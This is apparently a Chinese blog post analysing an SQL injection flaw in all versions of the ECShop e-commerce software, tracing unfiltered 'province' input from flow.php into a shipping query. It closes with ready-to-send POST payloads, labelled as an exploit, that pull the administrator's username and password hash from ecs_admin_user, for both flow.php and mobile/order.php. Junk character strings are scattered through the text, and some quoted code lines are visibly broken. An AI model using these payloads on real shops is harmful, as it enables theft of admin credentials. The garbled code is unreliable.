ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
. b, u) h( b; `' @- N' z/ A
* v2 ^1 ~$ o; w8 J& _$ M( D    漏洞关键文件：
  l  g0 I. O* z# X1 u5 X
8 W9 N% n! ~4 T/ O! _' h    /includes/lib_order.php
7 d6 H# F! f0 F4 p
    关键函数：
+ _  Q0 j6 M  ]; }
( X2 D' O% M) d: O

01     function available_shipping_list($region_id_list)

02 {

& e9 u- w5 Z5 u% |% J6 s  Z03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
* U5 d7 f; |8 I
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

% n2 J% I5 i+ Y# p9 I05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

  L8 ~) w0 n. ]/ M' u06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

6 V9 w6 `4 \% A/ f# F; k07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
  O$ d3 u% U+ k4 B8 c' R; Y. @
08             'WHERE r.region_id ' . db_create_in($region_id_list) .

! W# d7 W0 a$ y# \' O* a* t! N09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
; s; j0 _5 b: o5 U
  i: }: \, e4 F11     return $GLOBALS['db']->getAll($sql);

12 }

5 Y: m9 n' L: m( ]8 Q* \* @显然对传入的参数没有任何过滤就带入了查询语句。
+ d3 f0 F8 B0 Z) h
3 T' i4 Y4 l! [. u$ C下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);

% \, B$ F  R. k: l2 C
7 b& o1 n4 e- k$ H1 o

) z; r6 Z" N3 m+ b( x* G
7 d% ~+ k/ Y" v再对传入变量进行追踪：

第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
$ Q4 N4 A' V; z) J* P

. ]7 e2 ?  Y0 c


第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
4 ^0 {- W: ?$ m3 Y& g
1 Y( M) c4 n. Z; G4 o6 J- S到了一个关键函数：

" y! |1 i( k: [) F+ k: K/includes/lib_order.php

! k! S: o! s6 E9 Q% [

! j( Y4 C; _% w

! i3 \2 G$ g$ [& h, R. j: B01 function get_consignee($user_id)

6 X, u2 ^. `6 P8 w02 {

5 F, U  ]) @' O9 Z) y! |, `# [% }03     if (isset($_SESSION['flow_consignee']))
* G4 k6 u, e8 }6 X
- ^0 }! ~6 \: R4 m# y04     {
& y" D* M8 I9 e( d0 ]  b* m3 V
05         /* 如果存在session，则直接返回session中的收货人信息 */
$ X/ ?7 q1 w; m. Y& T# D
: G3 K5 n" N* r4 |06   
( b: N: I2 ~: N9 g7 b
( {6 n' `; o. J- f! r4 I# S  R* B4 r; T07         return $_SESSION['flow_consignee'];

5 T$ }  _  l5 o8 J! W; A- O08     }

09     else
; c7 r9 t8 Q' l5 o; E" Z( a/ J
10     {
2 K2 S! k$ z" c" z7 ?
5 v- D/ Q) ?% B6 O0 T+ Q" [11         /* 如果不存在，则取得用户的默认收货人信息 */
4 g. H/ f  [+ D+ p
12         $arr = array();

8 u3 s6 ]; y: x* F' x% e" n$ H13   
% r) F( W& U0 w6 S: e
14         if ($user_id > 0)

  e4 H* ~. N6 w& N! K15         {
3 l2 s0 Q! Z, L. ~6 w6 T
16             /* 取默认地址 */
9 M7 w$ h0 ~1 \# b! _
4 Y1 l1 \0 u4 t( B; y" I2 Z17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

& W. l4 V9 O# M19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
$ d8 J; c/ s7 Z
20   
3 i9 `9 K, j  t/ j- R0 p
21             $arr = $GLOBALS['db']->getRow($sql);

22         }
' A% w( H6 h& c% x# z( j: G% e) ?! N
8 ^& e+ q& v, P2 _( v9 ~8 u1 l23   

1 l6 ~" P' F$ k2 l5 q4 F( r24         return $arr;
- G, ^; N: ?' h+ i& M
% `- x( _" ]# V2 P25     }
6 p& L: `( c! f% a1 T" }' T5 x
% ]* o, C+ p( t5 A26 }
& U- f( b9 q# L: u$ {- c
! f4 z5 `- ~6 Q- J& _; A$ e) B' {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
1 h+ p4 V( A0 r8 u* d. K


' p4 w1 y3 t/ a) g关键点:

1 x/ n, t* Y( A$ \第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
& j# l# k( F5 \) x  V

  E2 u3 s+ i- ]8 H6 i
' \# B4 d# @. h5 s) E5 A3 M然后看下：


" @) C2 u# e9 A2 V  L
# l3 u  l( `5 e4 L; o: U" l   
' g) y6 ?" T  i+ E6 u9 z" p
01 $consignee = array(
: p0 q6 j9 Q( W
- R. G2 v% D; L02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
' C- \7 o( d6 Q5 M+ L: g
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

  C7 @# U- z6 P04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
: C% p( B. e4 A9 D6 G0 `
: `& G& E- i0 \6 e% }% F05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

! h5 i" {) m8 T. Y% d06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
6 K. j# v# b4 J$ a, a
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
* e: }& L4 T) g" R
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

/ ^7 Q( [( I/ @8 R% n9 z- x10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
& A: g8 U/ S- _5 W, C$ y
4 G$ O& f  g9 K& E11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
! O4 W; f- U/ t" _/ V
& H$ v/ I& s2 D" y+ A- e# a# n12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
0 z7 J$ a; T' _' w! I# M2 b7 m
' d/ V2 i! ?' c5 {0 f9 G5 i8 s13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
$ F7 h# H! h1 u
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。
/ j/ O" B/ _5 f7 F, Y8 `# @3 q8 M* U
==================
/ r- q1 z9 \$ N" }+ r' q" I. Z
注入测试：
2 B) Y1 r0 K2 z, @2 W6 ?* ^7 m1 z
" C7 _; }7 Q' w: n环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106

6 X8 Z9 v% X1 i/ g! W" t* S

1.首先需要点击一个商品加入购物车
& M6 |) Y. _- S& u
: q& ]  o# B8 T; X& v2.注册一个会员帐号
$ t3 M9 \4 B1 X" G5 X; ~( k% |8 E1 Q6 p
8 f* U5 W1 F. W* k: p3.post提交数据
# o! g( x- L/ M! k9 k4 T) \) t


6 n3 {  b) Y4 z. ?! K, k1 http://127.0.0.1/ecshop/flow.php
9 ]% v. \' q1 i) Q7 s5 ^9 u
2   

& g( E5 q2 C, a8 d& `$ n  v3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
% l, M  p$ ~) A" z7 E; T* C举一反三，我们根据这个漏洞我们可以继续深入挖掘：
% [: K" g& @7 W5 u& _0 ^' N: S
8 m/ a/ b  l5 c! [我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
  E  n& p' R5 A( ~8 p1 E3 i- W+ c
- i8 X& l" Q( v$ m利用exp:

# W* q+ O3 y4 y8 G) j1 [% A0 S1.点击一个商品，点击购买商标

5 j/ }8 j1 c2 \, G2.登录会员帐号

3.post提交：

http://127.0.0.1/ecshop/mobile/order.php

! Q8 F8 G2 h4 @/ P8 E% E

# c- u2 n9 x5 j) j; \, fcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=